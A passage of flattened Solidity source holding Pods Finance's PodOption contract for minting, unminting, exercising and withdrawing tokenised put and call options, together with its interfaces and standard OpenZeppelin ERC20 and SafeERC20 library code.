return abi.decode(data, (address));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/IPodOption.sol";
import "../lib/CappedOption.sol";
import "../lib/RequiredDecimals.sol";
import "../interfaces/IConfigurationManager.sol";
/**
* @title PodOption
* @author Pods Finance
*
* @notice This contract represents the basic structure of the financial instrument
* known as Option, sharing logic between both a PUT or a CALL types.
*
* @dev There are four main actions that can be called in an Option:
*
* A) mint => A minter can lock collateral and create new options before expiration.
* B) unmint => The minter who previously minted can choose for leaving its position any given time
* until expiration.
* C) exercise => The option bearer the can exchange its option for the collateral at the strike price.
* D) withdraw => The minter can retrieve collateral at the end of the series.
*
* Depending on the type (PUT / CALL) or the exercise (AMERICAN / EUROPEAN), those functions have
* different behave and should be override accordingly.
*/
abstract contract PodOption is IPodOption, ERC20, RequiredDecimals, CappedOption {
using SafeERC20 for IERC20;
/**
* @dev Minimum allowed exercise window: 24 hours
*/
uint256 public constant MIN_EXERCISE_WINDOW_SIZE = 86400;
OptionType private immutable _optionType;
ExerciseType private immutable _exerciseType;
IConfigurationManager public immutable configurationManager;
address private immutable _underlyingAsset;
uint8 private immutable _underlyingAssetDecimals;
address private immutable _strikeAsset;
uint8 private immutable _strikeAssetDecimals;
uint256 private immutable _strikePrice;
uint256 private immutable _expiration;
uint256 private _startOfExerciseWindow;
/**
* @notice Reserve share balance
* @dev Tracks the shares of the total asset reserve by address
*/
mapping(address => uint256) public shares;
/**
* @notice Minted option balance
* @dev Tracks amount of minted options by address
*/
mapping(address => uint256) public mintedOptions;
/**
* @notice Total reserve shares
*/
uint256 public totalShares = 0;
constructor(
string memory name,
string memory symbol,
OptionType optionType,
ExerciseType exerciseType,
address underlyingAsset,
address strikeAsset,
uint256 strikePrice,
uint256 expiration,
uint256 exerciseWindowSize,
IConfigurationManager _configurationManager
) public ERC20(name, symbol) CappedOption(_configurationManager) {
require(Address.isContract(underlyingAsset), "PodOption: underlying asset is not a contract");
require(Address.isContract(strikeAsset), "PodOption: strike asset is not a contract");
require(underlyingAsset != strikeAsset, "PodOption: underlying asset and strike asset must differ");
require(expiration > block.timestamp, "PodOption: expiration should be in the future");
require(strikePrice > 0, "PodOption: strike price must be greater than zero");
if (exerciseType == ExerciseType.EUROPEAN) {
require(
exerciseWindowSize >= MIN_EXERCISE_WINDOW_SIZE,
"PodOption: exercise window must be greater than or equal 86400"
);
_startOfExerciseWindow = expiration.sub(exerciseWindowSize);
} else {
require(exerciseWindowSize == 0, "PodOption: exercise window size must be equal to zero");
_startOfExerciseWindow = block.timestamp;
}
configurationManager = _configurationManager;
_optionType = optionType;
_exerciseType = exerciseType;
_expiration = expiration;
_underlyingAsset = underlyingAsset;
_strikeAsset = strikeAsset;
uint8 underlyingDecimals = tryDecimals(IERC20(underlyingAsset));
_underlyingAssetDecimals = underlyingDecimals;
_strikeAssetDecimals = tryDecimals(IERC20(strikeAsset));
_strikePrice = strikePrice;
_setupDecimals(underlyingDecimals);
}
/**
* @notice Checks if the options series has already expired.
*/
function hasExpired() external override view returns (bool) {
return _hasExpired();
}
/**
* @notice External function to calculate the amount of strike asset
* needed given the option amount
*/
function strikeToTransfer(uint256 amountOfOptions) external override view returns (uint256) {
return _strikeToTransfer(amountOfOptions);
}
/**
* @notice Checks if the options trade window has opened.
*/
function isTradeWindow() external override view returns (bool) {
return _isTradeWindow();
}
/**
* @notice Checks if the options exercise window has opened.
*/
function isExerciseWindow() external override view returns (bool) {
return _isExerciseWindow();
}
/**
* @notice Checks if the options withdraw window has opened.
*/
function isWithdrawWindow() external override view returns (bool) {
return _isWithdrawWindow();
}
/**
* @notice The option type. eg: CALL, PUT
*/
function optionType() external override view returns (OptionType) {
return _optionType;
}
/**
* @notice Exercise type. eg: AMERICAN, EUROPEAN
*/
function exerciseType() external override view returns (ExerciseType) {
return _exerciseType;
}
/**
* @notice The sell price of each unit of underlyingAsset; given in units
* of strikeAsset, e.g. 0.99 USDC
*/
function strikePrice() external override view returns (uint256) {
return _strikePrice;
}
/**
* @notice The number of decimals of strikePrice
*/
function strikePriceDecimals() external override view returns (uint8) {
return _strikeAssetDecimals;
}
/**
* @notice The timestamp in seconds that represents the series expiration
*/
function expiration() external override view returns (uint256) {
return _expiration;
}
/**
* @notice How many decimals does the strike token have? E.g.: 18
*/
function strikeAssetDecimals() public override view returns (uint8) {
return _strikeAssetDecimals;
}
/**
* @notice The asset used as the strike asset, e.g. USDC, DAI
*/
function strikeAsset() public override view returns (address) {
return _strikeAsset;
}
/**
* @notice How many decimals does the underlying token have? E.g.: 18
*/
function underlyingAssetDecimals() public override view returns (uint8) {
return _underlyingAssetDecimals;
}
/**
* @notice The asset used as the underlying token, e.g. WETH, WBTC, UNI
*/
function underlyingAsset() public override view returns (address) {
return _underlyingAsset;
}
/**
* @notice getSellerWithdrawAmounts returns the seller position based on his amount of shares
* and the current option position
*
* @param owner address of the user to check the withdraw amounts
*
* @return strikeAmount current amount of strike the user will receive. It may change until maturity
* @return underlyingAmount current amount of underlying the user will receive. It may change until maturity
*/
function getSellerWithdrawAmounts(address owner)
public
override
view
returns (uint256 strikeAmount, uint256 underlyingAmount)
{
uint256 ownerShares = shares[owner];
strikeAmount = ownerShares.mul(strikeReserves()).div(totalShares);
underlyingAmount = ownerShares.mul(underlyingReserves()).div(totalShares);
return (strikeAmount, underlyingAmount);
}
/**
* @notice The timestamp in seconds that represents the start of exercise window
*/
function startOfExerciseWindow() public override view returns (uint256) {
return _startOfExerciseWindow;
}
/**
* @notice Utility function to check the amount of the underlying tokens
* locked inside this contract
*/
function underlyingReserves() public override view returns (uint256) {
return IERC20(_underlyingAsset).balanceOf(address(this));
}
/**
* @notice Utility function to check the amount of the strike tokens locked
* inside this contract
*/
function strikeReserves() public override view returns (uint256) {
return IERC20(_strikeAsset).balanceOf(address(this));
}
/**
* @dev Modifier with the conditions to be able to mint
* based on option exerciseType.
*/
modifier tradeWindow() {
require(_isTradeWindow(), "PodOption: trade window has closed");
_;
}
/**
* @dev Modifier with the conditions to be able to unmint
* based on option exerciseType.
*/
modifier unmintWindow() {
require(_isTradeWindow() || _isExerciseWindow(), "PodOption: not in unmint window");
_;
}
/**
* @dev Modifier with the conditions to be able to exercise
* based on option exerciseType.
*/
modifier exerciseWindow() {
require(_isExerciseWindow(), "PodOption: not in exercise window");
_;
}
/**
* @dev Modifier with the conditions to be able to withdraw
* based on exerciseType.
*/
modifier withdrawWindow() {
require(_isWithdrawWindow(), "PodOption: option has not expired yet");
_;
}
/**
* @dev Internal function to check expiration
*/
function _hasExpired() internal view returns (bool) {
return block.timestamp >= _expiration;
}
/**
* @dev Internal function to check trade window
*/
function _isTradeWindow() internal view returns (bool) {
if (_hasExpired()) {
return false;
} else if (_exerciseType == ExerciseType.EUROPEAN) {
return !_isExerciseWindow();
}
return true;
}
/**
* @dev Internal function to check window exercise started
*/
function _isExerciseWindow() internal view returns (bool) {
return !_hasExpired() && block.timestamp >= _startOfExerciseWindow;
}
/**
* @dev Internal function to check withdraw started
*/
function _isWithdrawWindow() internal view returns (bool) {
return _hasExpired();
}
/**
* @dev Internal function to calculate the amount of strike asset needed given the option amount
* @param amountOfOptions Intended amount to options to mint
*/
function _strikeToTransfer(uint256 amountOfOptions) internal view returns (uint256) {
uint256 strikeAmount = amountOfOptions.mul(_strikePrice).div(10**uint256(underlyingAssetDecimals()));
require(strikeAmount > 0, "PodOption: amount of options is too low");
return strikeAmount;
}
/**
* @dev Calculate number of reserve shares based on the amount of collateral locked by the minter
*/
function _calculatedShares(uint256 amountOfCollateral) internal view returns (uint256 ownerShares) {
uint256 currentStrikeReserves = strikeReserves();
uint256 currentUnderlyingReserves = underlyingReserves();
uint256 numerator = amountOfCollateral.mul(totalShares);
uint256 denominator;
if (_optionType == OptionType.PUT) {
denominator = currentStrikeReserves.add(
currentUnderlyingReserves.mul(_strikePrice).div(uint256(10)**underlyingAssetDecimals())
);
} else {
denominator = currentUnderlyingReserves.add(
currentStrikeReserves.mul(uint256(10)**underlyingAssetDecimals()).div(_strikePrice)
);
}
ownerShares = numerator.div(denominator);
return ownerShares;
}
/**
* @dev Mint options, creating the shares accordingly to the amount of collateral provided
* @param amountOfOptions The amount option tokens to be issued
* @param amountOfCollateral The amount of collateral provided to mint options
* @param owner Which address will be the owner of the options
*/
function _mintOptions(
uint256 amountOfOptions,
uint256 amountOfCollateral,
address owner
) internal capped(amountOfOptions) {
require(owner != address(0), "PodOption: zero address cannot be the owner");
if (totalShares > 0) {
uint256 ownerShares = _calculatedShares(amountOfCollateral);
shares[owner] = shares[owner].add(ownerShares);
totalShares = totalShares.add(ownerShares);
} else {
shares[owner] = amountOfCollateral;
totalShares = amountOfCollateral;
}
mintedOptions[owner] = mintedOptions[owner].add(amountOfOptions);
_mint(msg.sender, amountOfOptions);
}
/**
* @dev Unmints options, burning the option tokens removing shares accordingly and releasing a certain
* amount of collateral.
* @param amountOfOptions The amount option tokens to be burned
* @param owner Which address options will be burned from
*/
function _unmintOptions(uint256 amountOfOptions, address owner)
internal
returns (uint256 strikeToSend, uint256 underlyingToSend)
{
require(shares[owner] > 0, "PodOption: you do not have minted options");
require(amountOfOptions <= mintedOptions[owner], "PodOption: not enough minted options");
uint256 burnedShares = shares[owner].mul(amountOfOptions).div(mintedOptions[owner]);
if (_optionType == IPodOption.OptionType.PUT) {
uint256 strikeAssetDeposited = totalSupply().mul(_strikePrice).div(10**uint256(decimals()));
uint256 totalInterest = 0;
if (strikeReserves() > strikeAssetDeposited) {
totalInterest = strikeReserves().sub(strikeAssetDeposited);
}
strikeToSend = amountOfOptions.mul(_strikePrice).div(10**uint256(decimals())).add(
totalInterest.mul(burnedShares).div(totalShares)
);
// In the case we lost some funds due to precision, the last user to unmint will still be able to perform.
if (strikeToSend > strikeReserves()) {
strikeToSend = strikeReserves();
}
} else {
uint256 underlyingAssetDeposited = totalSupply();
uint256 currentUnderlyingAmount = underlyingReserves().add(strikeReserves().div(_strikePrice));
uint256 totalInterest = 0;
if (currentUnderlyingAmount > underlyingAssetDeposited) {
totalInterest = currentUnderlyingAmount.sub(underlyingAssetDeposited);
}
underlyingToSend = amountOfOptions.add(totalInterest.mul(burnedShares).div(totalShares));
}
shares[owner] = shares[owner].sub(burnedShares);
mintedOptions[owner] = mintedOptions[owner].sub(amountOfOptions);
totalShares = totalShares.sub(burnedShares);
_burn(owner, amountOfOptions);
}
/**
* @dev Removes all shares, returning the amounts that would be withdrawable
*/
function _withdraw() internal returns (uint256 strikeToSend, uint256 underlyingToSend) {
uint256 ownerShares = shares[msg.sender];
require(ownerShares > 0, "PodOption: you do not have balance to withdraw");
(strikeToSend, underlyingToSend) = getSellerWithdrawAmounts(msg.sender);
shares[msg.sender] = 0;
mintedOptions[msg.sender] = 0;
totalShares = totalShares.sub(ownerShares);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IPodOption is IERC20 {
/** Enums */
// @dev 0 for Put, 1 for Call
enum OptionType { PUT, CALL }
// @dev 0 for European, 1 for American
enum ExerciseType { EUROPEAN, AMERICAN }
/** Events */
event Mint(address indexed minter, uint256 amount);
event Unmint(address indexed minter, uint256 optionAmount, uint256 strikeAmount, uint256 underlyingAmount);
event Exercise(address indexed exerciser, uint256 amount);
event Withdraw(address indexed minter, uint256 strikeAmount, uint256 underlyingAmount);
/** Functions */
/**
* @notice Locks collateral and write option tokens.
*
* @dev The issued amount ratio is 1:1, i.e., 1 option token for 1 underlying token.
*
* The collateral could be the strike or the underlying asset depending on the option type: Put or Call,
* respectively
*
* It presumes the caller has already called IERC20.approve() on the
* strike/underlying token contract to move caller funds.
*
* Options can only be minted while the series is NOT expired.
*
* It is also important to notice that options will be sent back
* to `msg.sender` and not the `owner`. This behavior is designed to allow
* proxy contracts to mint on others behalf. The `owner` will be able to remove
* the deposited collateral after series expiration or by calling unmint(), even
* if a third-party minted options on its behalf.
*
* @param amountOfOptions The amount option tokens to be issued
* @param owner Which address will be the owner of the options
*/
function mint(uint256 amountOfOptions, address owner) external;
/**
* @notice Allow option token holders to use them to exercise the amount of units
* of the locked tokens for the equivalent amount of the exercisable assets.
*
* @dev It presumes the caller has already called IERC20.approve() exercisable asset
* to move caller funds.
*
* On American options, this function can only called anytime before expiration.
* For European options, this function can only be called during the exerciseWindow.
* Meaning, after expiration and before the end of exercise window.
*
* @param amountOfOptions The amount option tokens to be exercised
*/
function exercise(uint256 amountOfOptions) external;
/**
* @notice After series expiration in case of American or after exercise window for European,
* allow minters who have locked their collateral to withdraw them proportionally
* to their minted options.
*
* @dev If assets had been exercised during the option series the minter may withdraw
* the exercised assets or a combination of exercised and collateral.
*/
function withdraw() external;
/**
* @notice Unlocks collateral by burning option tokens.
*
* Options can only be burned while the series is NOT expired.
*
* @param amountOfOptions The amount option tokens to be burned
*/
function unmint(uint256 amountOfOptions) external;
function optionType() external view returns (OptionType);
function exerciseType() external view returns (ExerciseType);
function underlyingAsset() external view returns (address);
function underlyingAssetDecimals() external view returns (uint8);
function strikeAsset() external view returns (address);
function strikeAssetDecimals() external view returns (uint8);
function strikePrice() external view returns (uint256);
function strikePriceDecimals() external view returns (uint8);
function expiration() external view returns (uint256);
function startOfExerciseWindow() external view returns (uint256);
function hasExpired() external view returns (bool);
function isTradeWindow() external view returns (bool);
function isExerciseWindow() external view returns (bool);
function isWithdrawWindow() external view returns (bool);
function strikeToTransfer(uint256 amountOfOptions) external view returns (uint256);
function getSellerWithdrawAmounts(address owner)
external
view
returns (uint256 strikeAmount, uint256 underlyingAmount);
function underlyingReserves() external view returns (uint256);
function strikeReserves() external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/IConfigurationManager.sol";
import "../interfaces/ICapProvider.sol";
/**
* @title CappedOption
* @author Pods Finance
*
* @notice Controls a maximum cap for a guarded release
*/
abstract contract CappedOption is IERC20 {
using SafeMath for uint256;
IConfigurationManager private immutable _configurationManager;
constructor(IConfigurationManager configurationManager) public {
_configurationManager = configurationManager;
}
/**
* @dev Modifier to stop transactions that exceed the cap
*/
modifier capped(uint256 amountOfOptions) {
uint256 cap = capSize();
if (cap > 0) {
require(this.totalSupply().add(amountOfOptions) <= cap, "CappedOption: amount exceed cap");
}
_;
}
/**
* @dev Get the cap size
*/
function capSize() public view returns (uint256) {
ICapProvider capProvider = ICapProvider(_configurationManager.getCapProvider());
return capProvider.getCap(address(this));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract RequiredDecimals {
uint256 private constant _MAX_TOKEN_DECIMALS = 38;
/**
* Tries to fetch the decimals of a token, if not existent, fails with a require statement
*
* @param token An instance of IERC20
* @return The decimals of a token
*/
function tryDecimals(IERC20 token) internal view returns (uint8) {
// solhint-disable-line private-vars-leading-underscore
bytes memory payload = abi.encodeWithSignature("decimals()");
// solhint-disable avoid-low-level-calls
(bool success, bytes memory returnData) = address(token).staticcall(payload);
require(success, "RequiredDecimals: required decimals");
uint8 decimals = abi.decode(returnData, (uint8));
require(decimals < _MAX_TOKEN_DECIMALS, "RequiredDecimals: token decimals should be lower than 38");
return decimals;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity >=0.6.12;
interface IConfigurationManager {
function setParameter(bytes32 name, uint256 value) external;
function setEmergencyStop(address emergencyStop) external;
function setPricingMethod(address pricingMethod) external;
function setIVGuesser(address ivGuesser) external;
function setIVProvider(address ivProvider) external;
function setPriceProvider(address priceProvider) external;
function setCapProvider(address capProvider) external;
function setAMMFactory(address ammFactory) external;
function setOptionFactory(address optionFactory) external;
function setOptionHelper(address optionHelper) external;
function setOptionPoolRegistry(address optionPoolRegistry) external;
function getParameter(bytes32 name) external view returns (uint256);
function owner() external view returns (address);
function getEmergencyStop() external view returns (address);
function getPricingMethod() external view returns (address);
function getIVGuesser() external view returns (address);
function getIVProvider() external view returns (address);
function getPriceProvider() external view returns (address);
function getCapProvider() external view returns (address);
function getAMMFactory() external view returns (address);
function getOptionFactory() external view returns (address);
function getOptionHelper() external view returns (address);
function getOptionPoolRegistry() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
